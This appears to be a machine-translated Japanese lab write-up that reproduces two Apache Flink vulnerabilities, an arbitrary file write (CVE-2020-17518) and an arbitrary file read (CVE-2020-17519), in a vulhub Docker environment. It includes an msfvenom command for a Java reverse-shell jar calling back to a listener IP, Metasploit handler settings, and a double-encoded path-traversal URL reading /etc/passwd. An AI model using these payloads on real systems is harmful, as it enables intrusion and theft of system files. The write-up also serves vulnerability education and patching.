ApacheFlinkの脆弱性の再発

前書き

Apache Flinkは、効率的で分散型の一般的なデータ処理プラットフォームです。ApacheSoftwareFoundationによって開発されたオープンソースのストリーム処理フレームワークです。そのコアは、JavaとScalaで記述された分散型ストリームデータストリームエンジンです(つまり、sparkに似ています)。 。Flinkには、「実行中のジョブ」と「最近完了したジョブ」のステータスと統計を照会するために使用できる監視APIがあります。監視APIはFlink独自のダッシュボードで使用され、監視ツールのカスタマイズにも使用できます。デフォルトの監視はポート8081です。

この記事では、知識ポイントに関する実践的な演習を行います。ネットワークセキュリティインシデント(「ネットワークセキュリティインシデント」このコースは、比較的影響の大きいセキュリティインシデントによってシミュレートされたテスト環境で構成されています。このコースでは、過去のセキュリティインシデントを追加するだけでなく、強化します。現在のイベントをフォローし、最新のセキュリティインシデントを追加します。初めて全員に知らせ、自分の安全を守る方法を知らせます。)

1.png

監視APIはRESTフルAPIであり、HTTP要求を受け入れ、JSON形式のデータに応答します。

監視APIの1つは/ jars / uploadであり、これはjarをクラスターにアップロードするために使用されます。jarはマルチパートデータとして送信する必要があります。一部のhttpライブラリはデフォルトでヘッダーを追加しないため、「Content-Type」ヘッダーが「application / x-java-archive」に設定されていることを確認してください。Jarファイルはcurl経由でアップロードできます

'curl -X POST -H "Expect:" -F "jarfile = @ path / to / flink-job.jar" < http:// hostname:port / jars / upload> ;'

概要概要

Flink1.5.1はRESTAPIを導入しましたが、その実装には多くの欠陥があり、任意のファイル読み取り(CVE-2020-17519)および任意のファイル書き込み(CVE-2020-17518)の脆弱性が発生します。

CVE-2020-17518 ***ユーザーは、REST APIを使用してHTTPヘッダーを変更し、アップロードされたファイルをローカルファイルシステムの任意の場所(Flink 1.5.1プロセスからアクセスできます)に書き込むことができます。

CVE-2020-17519 Apache Flink 1.11.0を使用すると、ハッカーはJobManagerプロセスのREST APIを介してJobManagerローカルファイルシステム(JobManagerプロセスからアクセス可能)上の任意のファイルを読み取ることができます。

インパクトバージョン

CVE-2020-17518

Apache:Apache Flink:1.5.1-1.11.2

CVE-2020-17519

Apache:Apache Flink:1.11.0、1.11.1、1.11.2

環境設定

2つの脆弱性の影響を受けるバージョンには1.11.2が含まれているため、このバージョンを使用して再現します

ここでは、vulhub環境を使用して、新しいdocker-compose.ymlを複製および作成します。

バージョン:「2」

サービス:

多額:

画像:vulhub / flink:1.11.2

コマンド:jobmanager

ポート:

-"8081:8081"

-「6123:6123」

docker-composeを使用して環境を開始し、次のコマンドを実行してイメージをダウンロードし、このイメージでコンテナーを開始します。マップされたポートは8081および6123です。

docker-compose up -d

アクセスhttp:// ip:8081

2.png

脆弱性の再発

ファイルのアップロード(CVE-2020-17518)は、以下を再現します。

Apache Flink 1.5.1ではRESTハンドラーが導入されており、悪意を持って変更されたHTTP HEADERを介して、アップロードされたファイルをローカルファイルシステムの任意の場所に書き込むことができます。

アクセスhttp:// ip:8081で、[新しいジョブの送信]の[新規追加]を見つけて、jarパッケージをアップロードします。デスクトップでjarパッケージの圧縮ファイルを作成し、zipサフィックスをjarに変更して、パッケージをキャプチャできます。

3.png

キャプチャされた要求パケットは次のとおりです。

4.png

変更のためにリピーターモジュールにリクエストパッケージを送信します。たとえば、ここでは/ tmpディレクトリに新しいファイルを作成しています。../は、現在のパスがわからないため、切り替えパスを容易にするためです。../を使用してに切り替えることができます。ルートディレクトリ。

5.png

ファイルが正常にアップロードされたかどうかを確認します

docker psviewコンテナ

6.png

コンテナに入る

docker exec -it CONTAINER ID / bin / bash

ファイルが正常にアップロードされたことがわかります

7.png

flink自体は認証されておらず、任意のjarパッケージのアップロードと実行をサポートしているため、jarパッケージgetshellをアップロードできます。

jar形式で馬を生成する

lhostはkaliのip、lportはkali受信シェルのポートです

msfvenom -p java / shell_reverse_tcp lhost = 192.168.74.142 lport = 1234 -f jar> /home/a.jar

8.png

msfを起動してシェルを受信します

msfconsole

エクスプロイト/マルチ/ハンドラーを使用する

ペイロードjava / shell_reverse_tcpを設定します

LHOST192.168.74.142を設定します

LPORT1234を設定します

エクスプロイト

jarパッケージをアップロードした後、アップロードしたパッケージをクリックしてから送信します

9.png

シェルに行く

10.png

任意のファイル読み取り(CVE-2020-17519)は以下を再現します。

Apache Flink 1.11.0で導入された(および1.11.1と1.11.2でもリリースされた)変更により、管理者はJobManagerプロセスのRESTインターフェイスを介してJobManagerローカルファイルシステム上の任意のファイルを読み取ることができます。アクセスは、JobManagerプロセスによってアクセス可能なファイルに制限されています。

たとえば、ここで/ etc /の下にあるpasswdファイルを読み取ります。%2​​52fは/の2つのURLエンコーディングです。

< http://192.168.74.134:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..% 252f ..%252f ..%252f ..%252fetc%252fpasswd> ;

11.png

バグ修正

セキュリティバージョンが正式にリリースされました。ダウンロードして、セキュリティバージョンにアップグレードしてください。

< https://flink.apache.org/zh/downloads.html> ;

参照リンク

< https://github.com/vulhub/vulhub/tree/master/flink> ;

< https://www.anquanke.com/post/id/227668> ;

おすすめ

転載: blog.51cto.com/14601372/2597389